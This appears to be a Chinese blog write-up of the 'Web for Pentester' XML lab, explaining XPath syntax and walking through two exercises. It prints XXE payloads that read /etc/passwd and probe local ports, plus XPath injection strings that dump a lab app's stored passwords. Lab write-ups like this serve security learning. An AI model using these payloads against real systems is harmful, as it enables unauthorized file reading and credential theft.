web_for_pentester xml

第一关

代码很简单就是通过xml参数传入数据,然后由simplexml_load_string()函数解析执行

simplexml_load_string()就是将xml字符串载入到对象中,如果失败就返回false

读取文件

<!DOCTYPE test[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><div>%26xxe;</div>

根据响应时长判断是否打开端口

<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><div>%26xxe;</div>

在php代码中如果libxml_disable_entity_Loader(false;)如果是false就允许外部实体的加载,为true就不允许外部实体的加载

第二关

先介绍下XPath

XPath是一门在xml文档中查找信息的语言。XPath可用来在XML文档中对元素和属性进行遍历。XPath是W3C XSLT标准的主要元素,并且XQuery和XPointer都构建与XPath表达之上。

路径表达式

结果

bookstore

选取bookstore元素的所有子节点

/bookstore

选取根元素bookstore

bookstore/book

选取属于bookstore的子元素中的所有book元素

//book

选取所有book子元素,而不管他在文档中的位置

bookstore//book

选取属于bookstore元素的后代的所有book元素,而不管它位于bookstore之下的什么位置

//@lang

选取名为lang的所有属性

 

注释:

/ 表示从xml文件中的根节点开始解析

//表示在xml文件中匹配已经选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,以下是几个例子

ancestor  选取当前节点的所有先辈(父、祖父等)

ancestor-or-self   选取当前节点的所有先辈(父、祖父等)以及当前节点本身

attribute  选取当前节点的所有属性

descendant选取当前节点的所有后代元素(子、孙等)

descendant-or-self  选取当前的所有后代元素(子、孙等)以及当前节点本身

following  选取文档中当前节点的结束标签之后的所有节点

namespace选取当前节点的所有命名空间节点

parent选取当前节点的父节点

了解了轴,在了解下步

child::book  选取所有属于当前节点的子元素的book节点

attribute::lang  选取当前节点的lang属性

child::*   选取当前节点的所有子元素

attribute::*   选取当前节点的所有属性

child::text()   选取当前节点的所有文本子节点

child::node()  选取当前节点的所有子节点

descendant::book  选取当前节点的所有book后代

ancestor::book   选择当前节点的所有book先辈

ancestor-or-self::book  选取当前节点的所有book先辈以及当前节点(如果此节点是book节点)

child::*/child::price  选取当前节点的所有price孙节点

了解之后开始尝试构造,首先是确定闭合,然乎注释掉后面没用的

hacker']%00   页面回显正确

如果我们想要获取当前所有相同节点的值,构造永真语句如下

hacker' or 1=1]%00

页面回显

hackeradmin

尝试查询当前节点的子节点

hacker' or 1=1]/child::node()%00

页面回显

hackeradmin

尝试查询当前节点的兄弟节点,通过查询当前节点父节点的所欲子节点来实现

hacker' or 1=1]/parent::*/child::node()%00

页面回显

hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd 查询到当前节点兄弟节点的所有数据。

上面的回显中,猜测其中一个节点看起来应该是密码,用下面的方法验证一下

hacker' or 1=1]/parent::*/password%00

页面回显

pentesterlabs3cr3tP4ssw0rd 可以看到确实就是密码,结合上一个查询的回显可知道密码分别是`pentesterlab`和`3cr3tP4ssw0rd`

 

通过xml靶场的训练,发现自己对于xml还是不熟悉,而且发现xml主要的威胁在于能够读取重要的文件还有就是能够探测端口,对于远程命令执行这个条件还是比较苛刻的。

参考文章https://www.freebuf.com/sectool/169122.html

 

posted @ 2020-10-10 16:15  漩溺  阅读(152)  评论(0编辑  收藏  举报